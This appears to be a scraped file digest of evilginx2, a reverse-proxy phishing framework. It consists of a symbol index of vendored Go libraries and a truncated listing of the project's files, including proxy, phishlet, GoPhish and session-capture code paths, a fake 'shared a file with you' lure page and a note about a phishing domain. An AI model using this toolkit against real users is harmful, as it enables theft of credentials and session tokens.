    method URL (line 507) | func (r *Route) URL(pairs ...string) (*url.URL, error) {
    method URLHost (line 549) | func (r *Route) URLHost(pairs ...string) (*url.URL, error) {
    method URLPath (line 577) | func (r *Route) URLPath(pairs ...string) (*url.URL, error) {
    method GetPathTemplate (line 602) | func (r *Route) GetPathTemplate() (string, error) {
    method GetPathRegexp (line 616) | func (r *Route) GetPathRegexp() (string, error) {
    method GetQueriesRegexp (line 631) | func (r *Route) GetQueriesRegexp() ([]string, error) {
    method GetQueriesTemplates (line 650) | func (r *Route) GetQueriesTemplates() ([]string, error) {
    method GetMethods (line 668) | func (r *Route) GetMethods() ([]string, error) {
    method GetHostTemplate (line 685) | func (r *Route) GetHostTemplate() (string, error) {
    method prepareVars (line 697) | func (r *Route) prepareVars(pairs ...string) (map[string]string, error) {
    method buildVars (line 705) | func (r *Route) buildVars(m map[string]string) map[string]string {
  type matcher (line 161) | type matcher interface
  type headerMatcher (line 224) | type headerMatcher
    method Match (line 226) | func (m headerMatcher) Match(r *http.Request, match *RouteMatch) bool {
  type headerRegexMatcher (line 249) | type headerRegexMatcher
    method Match (line 251) | func (m headerRegexMatcher) Match(r *http.Request, match *RouteMatch) ...
  type MatcherFunc (line 301) | type MatcherFunc
    method Match (line 304) | func (m MatcherFunc) Match(r *http.Request, match *RouteMatch) bool {
  type methodMatcher (line 316) | type methodMatcher
    method Match (line 318) | func (m methodMatcher) Match(r *http.Request, match *RouteMatch) bool {
  type schemeMatcher (line 412) | type schemeMatcher
    method Match (line 414) | func (m schemeMatcher) Match(r *http.Request, match *RouteMatch) bool {
  type BuildVarsFunc (line 434) | type BuildVarsFunc

FILE: vendor/github.com/gorilla/mux/test_helpers.go
  function SetURLVars (line 17) | func SetURLVars(r *http.Request, val map[string]string) *http.Request {

FILE: vendor/github.com/hashicorp/hcl/decoder.go
  constant tagName (line 17) | tagName = "hcl"
  function Unmarshal (line 26) | func Unmarshal(bs []byte, v interface{}) error {
  function Decode (line 37) | func Decode(out interface{}, in string) error {
  function DecodeObject (line 48) | func DecodeObject(out interface{}, n ast.Node) error {
  type decoder (line 63) | type decoder struct
    method decode (line 67) | func (d *decoder) decode(name string, node ast.Node, result reflect.Va...
    method decodeBool (line 117) | func (d *decoder) decodeBool(name string, node ast.Node, result reflec...
    method decodeFloat (line 137) | func (d *decoder) decodeFloat(name string, node ast.Node, result refle...
    method decodeInt (line 157) | func (d *decoder) decodeInt(name string, node ast.Node, result reflect...
    method decodeInterface (line 194) | func (d *decoder) decodeInterface(name string, node ast.Node, result r...
    method decodeMap (line 300) | func (d *decoder) decodeMap(name string, node ast.Node, result reflect...
    method decodePtr (line 399) | func (d *decoder) decodePtr(name string, node ast.Node, result reflect...
    method decodeSlice (line 413) | func (d *decoder) decodeSlice(name string, node ast.Node, result refle...
    method decodeString (line 522) | func (d *decoder) decodeString(name string, node ast.Node, result refl...
    method decodeStruct (line 541) | func (d *decoder) decodeStruct(name string, node ast.Node, result refl...
  function expandObject (line 473) | func expandObject(node ast.Node, result reflect.Value) ast.Node {
  function findNodeType (line 723) | func findNodeType() reflect.Type {

FILE: vendor/github.com/hashicorp/hcl/hcl/ast/ast.go
  type Node (line 13) | type Node interface
  type File (line 29) | type File struct
    method node (line 18) | func (File) node()         {}
    method Pos (line 34) | func (f *File) Pos() token.Pos {
  type ObjectList (line 40) | type ObjectList struct
    method node (line 19) | func (ObjectList) node()   {}
    method Add (line 44) | func (o *ObjectList) Add(item *ObjectItem) {
    method Filter (line 55) | func (o *ObjectList) Filter(keys ...string) *ObjectList {
    method Children (line 86) | func (o *ObjectList) Children() *ObjectList {
    method Elem (line 99) | func (o *ObjectList) Elem() *ObjectList {
    method Pos (line 110) | func (o *ObjectList) Pos() token.Pos {
    method GoString (line 219) | func (o *ObjectList) GoString() string { return fmt.Sprintf("*%#v", *o) }
  type ObjectItem (line 117) | type ObjectItem struct
    method node (line 21) | func (ObjectItem) node()   {}
    method Pos (line 135) | func (o *ObjectItem) Pos() token.Pos {
  type ObjectKey (line 146) | type ObjectKey struct
    method node (line 20) | func (ObjectKey) node()    {}
    method Pos (line 150) | func (o *ObjectKey) Pos() token.Pos {
    method GoString (line 218) | func (o *ObjectKey) GoString() string  { return fmt.Sprintf("*%#v", *o) }
  type LiteralType (line 156) | type LiteralType struct
    method node (line 25) | func (LiteralType) node()  {}
    method Pos (line 164) | func (l *LiteralType) Pos() token.Pos {
  type ListType (line 169) | type ListType struct
    method node (line 26) | func (ListType) node()     {}
    method Pos (line 175) | func (l *ListType) Pos() token.Pos {
    method Add (line 179) | func (l *ListType) Add(node Node) {
  type ObjectType (line 184) | type ObjectType struct
    method node (line 24) | func (ObjectType) node()   {}
    method Pos (line 190) | func (o *ObjectType) Pos() token.Pos {
  type Comment (line 195) | type Comment struct
    method node (line 22) | func (Comment) node()      {}
    method Pos (line 200) | func (c *Comment) Pos() token.Pos {
  type CommentGroup (line 206) | type CommentGroup struct
    method node (line 23) | func (CommentGroup) node() {}
    method Pos (line 210) | func (c *CommentGroup) Pos() token.Pos {

FILE: vendor/github.com/hashicorp/hcl/hcl/ast/walk.go
  type WalkFunc (line 8) | type WalkFunc
  function Walk (line 14) | func Walk(node Node, fn WalkFunc) Node {

FILE: vendor/github.com/hashicorp/hcl/hcl/parser/error.go
  type PosError (line 10) | type PosError struct
    method Error (line 15) | func (e *PosError) Error() string {

FILE: vendor/github.com/hashicorp/hcl/hcl/parser/parser.go
  type Parser (line 16) | type Parser struct
    method Parse (line 52) | func (p *Parser) Parse() (*ast.File, error) {
    method objectList (line 75) | func (p *Parser) objectList(obj bool) (*ast.ObjectList, error) {
    method consumeComment (line 111) | func (p *Parser) consumeComment() (comment *ast.Comment, endline int) {
    method consumeCommentGroup (line 129) | func (p *Parser) consumeCommentGroup(n int) (comments *ast.CommentGrou...
    method objectItem (line 147) | func (p *Parser) objectItem() (*ast.ObjectItem, error) {
    method objectKey (line 225) | func (p *Parser) objectKey() ([]*ast.ObjectKey, error) {
    method object (line 289) | func (p *Parser) object() (ast.Node, error) {
    method objectType (line 313) | func (p *Parser) objectType() (*ast.ObjectType, error) {
    method listType (line 343) | func (p *Parser) listType() (*ast.ListType, error) {
    method literalType (line 433) | func (p *Parser) literalType() (*ast.LiteralType, error) {
    method scan (line 444) | func (p *Parser) scan() token.Token {
    method unscan (line 496) | func (p *Parser) unscan() {
    method printTrace (line 503) | func (p *Parser) printTrace(a ...interface{}) {
  function newParser (line 32) | func newParser(src []byte) *Parser {
  function Parse (line 39) | func Parse(src []byte) (*ast.File, error) {
  function trace (line 522) | func trace(p *Parser, msg string) *Parser {
  function un (line 529) | func un(p *Parser) {

FILE: vendor/github.com/hashicorp/hcl/hcl/printer/nodes.go
  constant blank (line 13) | blank    = byte(' ')
  constant newline (line 14) | newline  = byte('\n')
  constant tab (line 15) | tab      = byte('\t')
  constant infinity (line 16) | infinity = 1 << 30
  type printer (line 23) | type printer struct
    method collectComments (line 42) | func (p *printer) collectComments(node ast.Node) {
    method output (line 109) | func (p *printer) output(n interface{}) []byte {
    method literalType (line 219) | func (p *printer) literalType(lit *ast.LiteralType) []byte {
    method objectItem (line 244) | func (p *printer) objectItem(o *ast.ObjectItem) []byte {
    method objectType (line 288) | func (p *printer) objectType(o *ast.ObjectType) []byte {
    method alignedItems (line 454) | func (p *printer) alignedItems(items []*ast.ObjectItem) []byte {
    method list (line 519) | func (p *printer) list(l *ast.ListType) []byte {
    method isSingleLineList (line 604) | func (printer) isSingleLineList(l *ast.ListType) bool {
    method singleLineList (line 629) | func (p *printer) singleLineList(l *ast.ListType) []byte {
    method indent (line 652) | func (p *printer) indent(buf []byte) []byte {
    method unindent (line 676) | func (p *printer) unindent(buf []byte) []byte {
    method heredocIndent (line 706) | func (p *printer) heredocIndent(buf []byte) []byte {
    method isSingleLineObject (line 728) | func (p *printer) isSingleLineObject(val *ast.ObjectItem) bool {
    method printTrace (line 762) | func (p *printer) printTrace(a ...interface{}) {
  type ByPosition (line 34) | type ByPosition
    method Len (line 36) | func (b ByPosition) Len() int           { return len(b) }
    method Swap (line 37) | func (b ByPosition) Swap(i, j int)      { b[i], b[j] = b[j], b[i] }
    method Less (line 38) | func (b ByPosition) Less(i, j int) bool { return b[i].Pos().Before(b[j...
  function lines (line 749) | func lines(txt string) int {
  function trace (line 779) | func trace(p *printer, msg string) *printer {
  function un (line 786) | func un(p *printer) {

FILE: vendor/github.com/hashicorp/hcl/hcl/printer/printer.go
  type Config (line 18) | type Config struct
    method Fprint (line 22) | func (c *Config) Fprint(output io.Writer, node ast.Node) error {
  function Fprint (line 47) | func Fprint(output io.Writer, node ast.Node) error {
  function Format (line 52) | func Format(src []byte) ([]byte, error) {

FILE: vendor/github.com/hashicorp/hcl/hcl/scanner/scanner.go
  constant eof (line 17) | eof = rune(0)
  type Scanner (line 20) | type Scanner struct
    method next (line 67) | func (s *Scanner) next() rune {
    method unread (line 111) | func (s *Scanner) unread() {
    method peek (line 119) | func (s *Scanner) peek() rune {
    method Scan (line 130) | func (s *Scanner) Scan() token.Token {
    method scanComment (line 231) | func (s *Scanner) scanComment(ch rune) {
    method scanNumber (line 272) | func (s *Scanner) scanNumber(ch rune) token.Type {
    method scanMantissa (line 357) | func (s *Scanner) scanMantissa(ch rune) rune {
    method scanFraction (line 371) | func (s *Scanner) scanFraction(ch rune) rune {
    method scanExponent (line 381) | func (s *Scanner) scanExponent(ch rune) rune {
    method scanHeredoc (line 393) | func (s *Scanner) scanHeredoc() {
    method scanString (line 477) | func (s *Scanner) scanString() {
    method scanEscape (line 513) | func (s *Scanner) scanEscape() rune {
    method scanDigits (line 539) | func (s *Scanner) scanDigits(ch rune, base, n int) rune {
    method scanIdentifier (line 565) | func (s *Scanner) scanIdentifier() string {
    method recentPosition (line 581) | func (s *Scanner) recentPosition() (pos token.Pos) {
    method err (line 604) | func (s *Scanner) err(msg string) {
  function New (line 50) | func New(src []byte) *Scanner {
  function isLetter (line 617) | func isLetter(ch rune) bool {
  function isDigit (line 622) | func isDigit(ch rune) bool {
  function isDecimal (line 627) | func isDecimal(ch rune) bool {
  function isHexadecimal (line 632) | func isHexadecimal(ch rune) bool {
  function isWhitespace (line 637) | func isWhitespace(ch rune) bool {
  function digitVal (line 642) | func digitVal(ch rune) int {

FILE: vendor/github.com/hashicorp/hcl/hcl/strconv/quote.go
  function Unquote (line 16) | func Unquote(s string) (t string, err error) {
  function contains (line 114) | func contains(s string, c byte) bool {
  function unhex (line 123) | func unhex(b byte) (v rune, ok bool) {
  function unquoteChar (line 136) | func unquoteChar(s string, quote byte) (value rune, multibyte bool, tail...

FILE: vendor/github.com/hashicorp/hcl/hcl/token/position.go
  type Pos (line 8) | type Pos struct
    method IsValid (line 16) | func (p *Pos) IsValid() bool { return p.Line > 0 }
    method String (line 24) | func (p Pos) String() string {
    method Before (line 39) | func (p Pos) Before(u Pos) bool {
    method After (line 44) | func (p Pos) After(u Pos) bool {

FILE: vendor/github.com/hashicorp/hcl/hcl/token/token.go
  type Token (line 14) | type Token struct
    method String (line 109) | func (t Token) String() string {
    method Value (line 118) | func (t Token) Value() interface{} {
  type Type (line 22) | type Type
    method String (line 83) | func (t Type) String() string {
    method IsIdentifier (line 96) | func (t Type) IsIdentifier() bool { return identifier_beg < t && t < i...
    method IsLiteral (line 100) | func (t Type) IsLiteral() bool { return literal_beg < t && t < literal...
    method IsOperator (line 104) | func (t Type) IsOperator() bool { return operator_beg < t && t < opera...
  constant ILLEGAL (line 26) | ILLEGAL Type = iota
  constant EOF (line 27) | EOF
  constant COMMENT (line 28) | COMMENT
  constant identifier_beg (line 30) | identifier_beg
  constant IDENT (line 31) | IDENT
  constant literal_beg (line 32) | literal_beg
  constant NUMBER (line 33) | NUMBER
  constant FLOAT (line 34) | FLOAT
  constant BOOL (line 35) | BOOL
  constant STRING (line 36) | STRING
  constant HEREDOC (line 37) | HEREDOC
  constant literal_end (line 38) | literal_end
  constant identifier_end (line 39) | identifier_end
  constant operator_beg (line 41) | operator_beg
  constant LBRACK (line 42) | LBRACK
  constant LBRACE (line 43) | LBRACE
  constant COMMA (line 44) | COMMA
  constant PERIOD (line 45) | PERIOD
  constant RBRACK (line 47) | RBRACK
  constant RBRACE (line 48) | RBRACE
  constant ASSIGN (line 50) | ASSIGN
  constant ADD (line 51) | ADD
  constant SUB (line 52) | SUB
  constant operator_end (line 53) | operator_end
  function unindentHeredoc (line 174) | func unindentHeredoc(heredoc string) string {

FILE: vendor/github.com/hashicorp/hcl/json/parser/flatten.go
  function flattenObjects (line 6) | func flattenObjects(node ast.Node) {
  function flattenListType (line 46) | func flattenListType(
  function flattenObjectType (line 80) | func flattenObjectType(

FILE: vendor/github.com/hashicorp/hcl/json/parser/parser.go
  type Parser (line 13) | type Parser struct
    method Parse (line 40) | func (p *Parser) Parse() (*ast.File, error) {
    method objectList (line 66) | func (p *Parser) objectList() (*ast.ObjectList, error) {
    method objectItem (line 94) | func (p *Parser) objectItem() (*ast.ObjectItem, error) {
    method objectKey (line 126) | func (p *Parser) objectKey() ([]*ast.ObjectKey, error) {
    method objectValue (line 159) | func (p *Parser) objectValue() (ast.Node, error) {
    method object (line 179) | func (p *Parser) object() (*ast.ObjectType, error) {
    method objectType (line 194) | func (p *Parser) objectType() (*ast.ObjectType, error) {
    method listType (line 213) | func (p *Parser) listType() (*ast.ListType, error) {
    method literalType (line 255) | func (p *Parser) literalType() (*ast.LiteralType, error) {
    method scan (line 265) | func (p *Parser) scan() token.Token {
    method unscan (line 277) | func (p *Parser) unscan() {
    method printTrace (line 284) | func (p *Parser) printTrace(a ...interface{}) {
  function newParser (line 25) | func newParser(src []byte) *Parser {
  function Parse (line 32) | func Parse(src []byte) (*ast.File, error) {
  function trace (line 303) | func trace(p *Parser, msg string) *Parser {
  function un (line 310) | func un(p *Parser) {

FILE: vendor/github.com/hashicorp/hcl/json/scanner/scanner.go
  constant eof (line 14) | eof = rune(0)
  type Scanner (line 17) | type Scanner struct
    method next (line 64) | func (s *Scanner) next() rune {
    method unread (line 101) | func (s *Scanner) unread() {
    method peek (line 109) | func (s *Scanner) peek() rune {
    method Scan (line 120) | func (s *Scanner) Scan() token.Token {
    method scanNumber (line 217) | func (s *Scanner) scanNumber(ch rune) token.Type {
    method scanMantissa (line 251) | func (s *Scanner) scanMantissa(ch rune) rune {
    method scanFraction (line 265) | func (s *Scanner) scanFraction(ch rune) rune {
    method scanExponent (line 275) | func (s *Scanner) scanExponent(ch rune) rune {
    method scanString (line 287) | func (s *Scanner) scanString() {
    method scanEscape (line 323) | func (s *Scanner) scanEscape() rune {
    method scanDigits (line 349) | func (s *Scanner) scanDigits(ch rune, base, n int) rune {
    method scanIdentifier (line 364) | func (s *Scanner) scanIdentifier() string {
    method recentPosition (line 380) | func (s *Scanner) recentPosition() (pos token.Pos) {
    method err (line 403) | func (s *Scanner) err(msg string) {
  function New (line 47) | func New(src []byte) *Scanner {
  function isLetter (line 416) | func isLetter(ch rune) bool {
  function isDigit (line 421) | func isDigit(ch rune) bool {
  function isDecimal (line 426) | func isDecimal(ch rune) bool {
  function isHexadecimal (line 431) | func isHexadecimal(ch rune) bool {
  function isWhitespace (line 436) | func isWhitespace(ch rune) bool {
  function digitVal (line 441) | func digitVal(ch rune) int {

FILE: vendor/github.com/hashicorp/hcl/json/token/position.go
  type Pos (line 8) | type Pos struct
    method IsValid (line 16) | func (p *Pos) IsValid() bool { return p.Line > 0 }
    method String (line 24) | func (p Pos) String() string {
    method Before (line 39) | func (p Pos) Before(u Pos) bool {
    method After (line 44) | func (p Pos) After(u Pos) bool {

FILE: vendor/github.com/hashicorp/hcl/json/token/token.go
  type Token (line 11) | type Token struct
    method String (line 96) | func (t Token) String() string {
    method HCLToken (line 103) | func (t Token) HCLToken() hcltoken.Token {
  type Type (line 18) | type Type
    method String (line 70) | func (t Type) String() string {
    method IsIdentifier (line 83) | func (t Type) IsIdentifier() bool { return identifier_beg < t && t < i...
    method IsLiteral (line 87) | func (t Type) IsLiteral() bool { return literal_beg < t && t < literal...
    method IsOperator (line 91) | func (t Type) IsOperator() bool { return operator_beg < t && t < opera...
  constant ILLEGAL (line 22) | ILLEGAL Type = iota
  constant EOF (line 23) | EOF
  constant identifier_beg (line 25) | identifier_beg
  constant literal_beg (line 26) | literal_beg
  constant NUMBER (line 27) | NUMBER
  constant FLOAT (line 28) | FLOAT
  constant BOOL (line 29) | BOOL
  constant STRING (line 30) | STRING
  constant NULL (line 31) | NULL
  constant literal_end (line 32) | literal_end
  constant identifier_end (line 33) | identifier_end
  constant operator_beg (line 35) | operator_beg
  constant LBRACK (line 36) | LBRACK
  constant LBRACE (line 37) | LBRACE
  constant COMMA (line 38) | COMMA
  constant PERIOD (line 39) | PERIOD
  constant COLON (line 40) | COLON
  constant RBRACK (line 42) | RBRACK
  constant RBRACE (line 43) | RBRACE
  constant operator_end (line 45) | operator_end

FILE: vendor/github.com/hashicorp/hcl/lex.go
  type lexModeValue (line 8) | type lexModeValue
  constant lexModeUnknown (line 11) | lexModeUnknown lexModeValue = iota
  constant lexModeHcl (line 12) | lexModeHcl
  constant lexModeJson (line 13) | lexModeJson
  function lexMode (line 18) | func lexMode(v []byte) lexModeValue {

FILE: vendor/github.com/hashicorp/hcl/parse.go
  function ParseBytes (line 14) | func ParseBytes(in []byte) (*ast.File, error) {
  function ParseString (line 19) | func ParseString(input string) (*ast.File, error) {
  function parse (line 23) | func parse(in []byte) (*ast.File, error) {
  function Parse (line 37) | func Parse(input string) (*ast.File, error) {

FILE: vendor/github.com/inconshreveable/go-vhost/http.go
  type HTTPConn (line 9) | type HTTPConn struct
    method Free (line 32) | func (c *HTTPConn) Free() {
    method Host (line 36) | func (c *HTTPConn) Host() string {
  function HTTP (line 16) | func HTTP(conn net.Conn) (httpConn *HTTPConn, err error) {

FILE: vendor/github.com/inconshreveable/go-vhost/interface.go
  type Conn (line 7) | type Conn interface

FILE: vendor/github.com/inconshreveable/go-vhost/mux.go
  type NotFound (line 23) | type NotFound struct
  type BadRequest (line 28) | type BadRequest struct
  type Closed (line 33) | type Closed struct
  type muxFn (line 40) | type muxFn
  type muxErr (line 43) | type muxErr struct
  type VhostMuxer (line 49) | type VhostMuxer struct
    method Listen (line 73) | func (m *VhostMuxer) Listen(name string) (net.Listener, error) {
    method NextError (line 91) | func (m *VhostMuxer) NextError() (net.Conn, error) {
    method Close (line 97) | func (m *VhostMuxer) Close() {
    method run (line 102) | func (m *VhostMuxer) run() {
    method handle (line 119) | func (m *VhostMuxer) handle(conn net.Conn) {
    method sendError (line 158) | func (m *VhostMuxer) sendError(conn net.Conn, err error) {
    method get (line 162) | func (m *VhostMuxer) get(name string) (l *Listener, ok bool) {
    method set (line 181) | func (m *VhostMuxer) set(name string, l *Listener) error {
    method del (line 191) | func (m *VhostMuxer) del(name string) {
  function NewVhostMuxer (line 58) | func NewVhostMuxer(listener net.Listener, vhostFn muxFn, muxTimeout time...
  constant serverError (line 198) | serverError = `HTTP/1.0 500 Inte
Copy disabled (too large) Download .json
Condensed preview — 1318 files, each showing path, character count, and a content snippet. Download the .json file for the full structured content (16,984K chars).
[
  {
    "path": ".dockerignore",
    "chars": 44,
    "preview": "Dockerfile\nMakefile\nREADME.md\nLICENSE\nmedia\n"
  },
  {
    "path": ".github/FUNDING.yml",
    "chars": 618,
    "preview": "# These are supported funding model platforms\n\ngithub: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [u"
  },
  {
    "path": ".gitignore",
    "chars": 61,
    "preview": "release/\nbuild/\nprivate/\n/phishlets\n!/phishlets/example.yaml\n"
  },
  {
    "path": ".travis.yml",
    "chars": 98,
    "preview": "sudo: false\n\nlanguage: go\ngo:\n  - 1.10.x\n  - master\n\nnotifications:\n  email: false\n\ninstall: true\n"
  },
  {
    "path": "CHANGELOG",
    "chars": 10204,
    "preview": "# Unreleased\n- Fixed: Redirection to `redirect_url` on page reload after authorization tokens have been captured.\n\n# 3.3"
  },
  {
    "path": "ISSUE_TEMPLATE.md",
    "chars": 246,
    "preview": "#### DO NOT ASK FOR PHISHLETS.\n#### DO NOT ASK FOR HELP CREATING PHISHLETS.\n#### DO NOT ASK TO FIX PHISHLETS.\n#### DO NO"
  },
  {
    "path": "LICENSE",
    "chars": 1478,
    "preview": "Copyright (c) 2018-2023 Kuba Gretzky. All rights reserved.\n\nRedistribution and use in source and binary forms, with or w"
  },
  {
    "path": "Makefile",
    "chars": 191,
    "preview": "TARGET=evilginx\nPACKAGES=core database log parser\n\n.PHONY: all build clean\nall: build\n\nbuild:\n\t@go build -o ./build/$(TA"
  },
  {
    "path": "README.md",
    "chars": 5410,
    "preview": "<p align=\"center\">\n  <img alt=\"Evilginx2 Logo\" src=\"https://raw.githubusercontent.com/kgretzky/evilginx2/master/media/im"
  },
  {
    "path": "build.bat",
    "chars": 89,
    "preview": "@echo off\nset GOARCH=amd64\necho Building...\ngo build -o .\\build\\evilginx.exe -mod=vendor\n"
  },
  {
    "path": "build_run.bat",
    "chars": 170,
    "preview": "@echo off\nset GOARCH=amd64\necho Building...\ngo build -o .\\build\\evilginx.exe -mod=vendor && cls && .\\build\\evilginx.exe "
  },
  {
    "path": "core/banner.go",
    "chars": 3004,
    "preview": "package core\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/fatih/color\"\n)\n\nconst (\n\tVERSION = \"3.3.0\"\n)\n\nfunc putAsciiArt(s "
  },
  {
    "path": "core/blacklist.go",
    "chars": 2415,
    "preview": "package core\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/kgretzky/evilginx2/log\"\n)\n\ntype BlockIP str"
  },
  {
    "path": "core/certdb.go",
    "chars": 9196,
    "preview": "package core\n\nimport (\n\t\"context\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encodi"
  },
  {
    "path": "core/config.go",
    "chars": 21391,
    "preview": "package core\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/kgretzky/evilginx2/log\"\n\n\t\"gith"
  },
  {
    "path": "core/gophish.go",
    "chars": 2988,
    "preview": "package core\n\nimport (\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/url\"\n\n\t\"github.com/go-resty/resty/v2\"\n)\n\ntype GoPhish"
  },
  {
    "path": "core/help.go",
    "chars": 4268,
    "preview": "package core\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/chzyer/readline\"\n\t\"github.com/fatih/color\"\n\n\t\"github.com/kgretzky/evilginx2/"
  },
  {
    "path": "core/http_proxy.go",
    "chars": 61538,
    "preview": "/*\n\nThis source file is a modified version of what was taken from the amazing bettercap (https://github.com/bettercap/be"
  },
  {
    "path": "core/http_server.go",
    "chars": 1410,
    "preview": "package core\n\nimport (\n\t\"github.com/gorilla/mux\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"github.com/kgretzky/evilginx2/log\"\n)\n\ntype HttpS"
  },
  {
    "path": "core/nameserver.go",
    "chars": 2255,
    "preview": "package core\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/miekg/dns\"\n\n\t\"github.com/kgr"
  },
  {
    "path": "core/phishlet.go",
    "chars": 29710,
    "preview": "package core\n\nimport (\n\t\"fmt\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/kgretzky/evilginx2/log\"\n\t\"github.com/spf13/v"
  },
  {
    "path": "core/scripts.go",
    "chars": 787,
    "preview": "package core\n\nconst DYNAMIC_REDIRECT_JS = `\nfunction getRedirect(sid) {\n\tvar url = \"/s/\" + sid;\n\tconsole.log(\"fetching: "
  },
  {
    "path": "core/session.go",
    "chars": 3138,
    "preview": "package core\n\nimport (\n\t\"time\"\n\n\t\"github.com/kgretzky/evilginx2/database\"\n)\n\ntype Session struct {\n\tId             strin"
  },
  {
    "path": "core/shared.go",
    "chars": 902,
    "preview": "package core\n\nimport \"strings\"\n\nfunc combineHost(sub string, domain string) string {\n\tif sub == \"\" {\n\t\treturn domain\n\t}\n"
  },
  {
    "path": "core/table.go",
    "chars": 3640,
    "preview": "/*\n\nThis source file is a modified version of what was taken from the amazing bettercap (https://github.com/bettercap/be"
  },
  {
    "path": "core/terminal.go",
    "chars": 54901,
    "preview": "package core\n\nimport (\n\t\"bufio\"\n\t\"crypto/rc4\"\n\t\"encoding/base64\"\n\t\"encoding/csv\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/iout"
  },
  {
    "path": "core/utils.go",
    "chars": 3708,
    "preview": "package core\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n"
  },
  {
    "path": "database/database.go",
    "chars": 2893,
    "preview": "package database\n\nimport (\n\t\"encoding/json\"\n\t\"strconv\"\n\n\t\"github.com/tidwall/buntdb\"\n)\n\ntype Database struct {\n\tpath str"
  },
  {
    "path": "database/db_session.go",
    "chars": 5734,
    "preview": "package database\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/tidwall/buntdb\"\n)\n\nconst SessionTable = \"sessio"
  },
  {
    "path": "go.mod",
    "chars": 2383,
    "preview": "module github.com/kgretzky/evilginx2\n\ngo 1.22\n\nrequire (\n\tgithub.com/caddyserver/certmagic v0.20.0\n\tgithub.com/chzyer/re"
  },
  {
    "path": "go.sum",
    "chars": 76260,
    "preview": "cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.34.0/go.mod h1"
  },
  {
    "path": "log/log.go",
    "chars": 3403,
    "preview": "package log\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/chzyer/readline\"\n\t\"github.com/fatih/color\"\n)\n\nva"
  },
  {
    "path": "main.go",
    "chars": 5146,
    "preview": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t_log \"log\"\n\t\"os\"\n\t\"os/user\"\n\t\"path/filepath\"\n\t\"regexp\"\n\n\t\"github.com/caddyserver/"
  },
  {
    "path": "parser/parser.go",
    "chars": 1310,
    "preview": "package parser\n\nimport (\n\t\"errors\"\n)\n\nvar (\n\tParseEnv      bool = false\n\tParseBacktick bool = false\n)\n\nfunc isSpace(r ru"
  },
  {
    "path": "redirectors/download_example/index.html",
    "chars": 2302,
    "preview": "<!doctype html>\n<html lang=\"en\">\n<head>\n    <title>{from_name} shared a file with you (1)</title>\n    <meta charset=\"utf"
  },
  {
    "path": "redirectors/turnstile/index.html",
    "chars": 914,
    "preview": "<!--\n    1. Create a new Turnstile Site in your Cloudflare dashboard\n    2. Set 'Domain'' to your phishing domain e.g. m"
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/.gitignore",
    "chars": 12,
    "preview": "_gitignore/\n"
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/LICENSE.txt",
    "chars": 11357,
    "preview": "                                 Apache License\n                           Version 2.0, January 2004\n                   "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/README.md",
    "chars": 31492,
    "preview": "<p align=\"center\">\n\t<a href=\"https://pkg.go.dev/github.com/caddyserver/certmagic?tab=doc\"><img src=\"https://user-images."
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/account.go",
    "chars": 13625,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/acmeclient.go",
    "chars": 11136,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/acmeissuer.go",
    "chars": 17410,
    "preview": "package certmagic\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"sor"
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/async.go",
    "chars": 5139,
    "preview": "package certmagic\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"log\"\n\t\"runtime\"\n\t\"sync\"\n\t\"time\"\n\n\t\"go.uber.org/zap\"\n)\n\nvar jm = &jobM"
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/cache.go",
    "chars": 13917,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/certificates.go",
    "chars": 16023,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/certmagic.go",
    "chars": 18695,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/config.go",
    "chars": 41399,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
